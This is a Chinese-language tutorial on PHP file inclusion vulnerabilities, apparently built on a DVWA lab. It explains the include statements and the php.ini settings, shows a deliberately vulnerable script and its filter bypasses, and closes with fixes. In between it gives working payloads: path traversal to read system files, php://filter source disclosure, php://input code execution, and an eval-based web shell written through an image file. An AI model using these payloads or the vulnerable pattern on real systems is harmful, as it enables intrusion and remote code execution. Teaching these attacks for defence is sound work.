目录
程序开发⼈员通常会把可重复使⽤函数或语句写到单个⽂件中,在使⽤某个功能的时候,直接调⽤此⽂ 件,⽆需再次编写,这种调⽤⽂件的过程通常称为包含。
程序开发⼈员都希望代码更加灵活,所以会把被包含的⽂件的路径设置为变量,来进⾏动态调⽤,但正是由于这种灵活性,如果被包含⽂件的路径客户端可控,造成⽂件包含漏洞。
⼏乎所有的脚本都会提供⽂件包含的功能,⽂件包含漏洞在PHP 的Web 应⽤中居多,在 JSP/ASP/ASP.NET 程序中⽐较少。
PHP 中的⽂件包含语句
PHP 提供了四个⽂件包含的语句,四个语句之间略有不同
语句 | 区别 |
include() | 多次包含,如果包含失败,脚本产⽣警告,继续运⾏。 |
include_once() | 一次包含,如果包含失败,脚本产⽣警告,继续运⾏。 |
require() | 多次包含,如果包含失败,脚本产⽣错误,结束执行。 |
require_once() | 一次包含,如果包含失败,脚本产⽣错误,结束执行。 |
相关配置
⽂件包含是PHP 的基本功能之⼀,有本地⽂件包含与远程⽂件包含之分。
简单来说,本地⽂件包含就是可以读取和打开本地⽂件,远程⽂件包含就是可以远程(⽅式)加载⽂ 件。
可以通过 php.ini 中的选项进⾏配置。
allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件
allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件
包含示例
#实例代码
<?php
// fileInclusion.php
if(!empty($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=./name.php";
}
?>
#本地文件包含
http://192.168.52.138:8080/failinclude/failinclude.php?path=./name.php
通过./方式包含
#远程文件包含
http://192.168.52.138:8080/failinclude/failinclude.php?path=http://192.168.52.138:8080/1.php
漏洞原理及特点
漏洞原理
PHP ⽂件包含是程序设计的基础功能之⼀,能够减少代码量,提⾼开发效率。但是使⽤⽂件包含功能 时,有类似于以上测试代码的设计,实现了动态包含,就有产⽣⽂件包含漏洞的⻛险。如果实现动态包 含的参数,Web 应⽤没有进⾏严格的校验,浏览器客户端⽤户可以影响或控制⽂件包含的路径,就会产 ⽣任意⽂件包含漏洞。
特点
#无视文件扩展名读取文件。
直接读取图片的源代码
http://192.168.52.138:8080/failinclude/failinclude.php?path=C:\phpStudy\WWW\DVWA\dvwa\images\1.jpg
#无条件解析php代码
#当读取到被包含⽂件的源码,如果遇到符合PHP 代码规范的内容,就会⽆条件执⾏
# 同时为图⽚⽊⻢提供了出路
http://192.168.52.138:8080/failinclude/failinclude.php?path=./name.php
文件包含漏洞攻防
毫无防护
// The page we wish to display
$file = $_GET[ 'page' ];
关键词过滤
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
限定⽂件路径起始字符
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
限定被包含⽂件后缀名
<?php
// 00.php
if(!empty($_GET['path'])){
include $_GET['path'].".html";//welcome.html
}else{
echo "?path=welcome";
}
?>
文件包含的时候,要通过路径寻找被包含的⽂件,这个路径对于PHP 来说就是⼀个普通的字符串,同样 会受到NULL 字符的影响。
#00截断
文件包含漏洞的利用
读取敏感⽂件
利⽤⽂件包含漏洞,读取敏感⽂件。
#前提条件
⽬标⽂件存在(已知⽬标⽂件路径)
具有⽂件可读权限
#具体方法
?path=c:/windows/system32/drivers/etc/hosts
?path=../../../../../windows/system32/drivers/etc/hosts
直接包含图片木马
#条件
确定⽂件包含漏洞存在
菜⼑不能直接连接
写Shell
<?php
fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777])?>');
?>
将代码和图片合成1_fputs.jpg
包含1_fputs.jpg后生成Shell.php
用中国蚁剑连接Shell.php文件
连接成功
PHP封装协议
file:// 访问本地⽂件系统
http:// 访问 HTTP(s) ⽹址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输⼊/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的⽂件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// ⾳频流
expect:// 处理交互式的流
读取本地文件
?path=file://c:/windows/system32/drivers/etc/hosts
读取PHP文件源代码
#利⽤ php://fileter/read 读取
?path=php://filter/read/resource=name.php
?path=php://filter/read=convert.base64-encode/resource=name.php
执行PHP命令
#利⽤ php://input 执⾏PHP 命令。
POST /php/fileInclusion/fileInclude.php?path=php://input
~~~~
~~~~
~~~~
<?=phpinfo();?>
漏洞修复方案
1.尽量少的使⽤动态包含
2. 严格过滤被包含⽂件的路径
3. 将参数allow_url_include 设置为Off 。
4. 使⽤参数open_basedir 限定⽂件访问范围。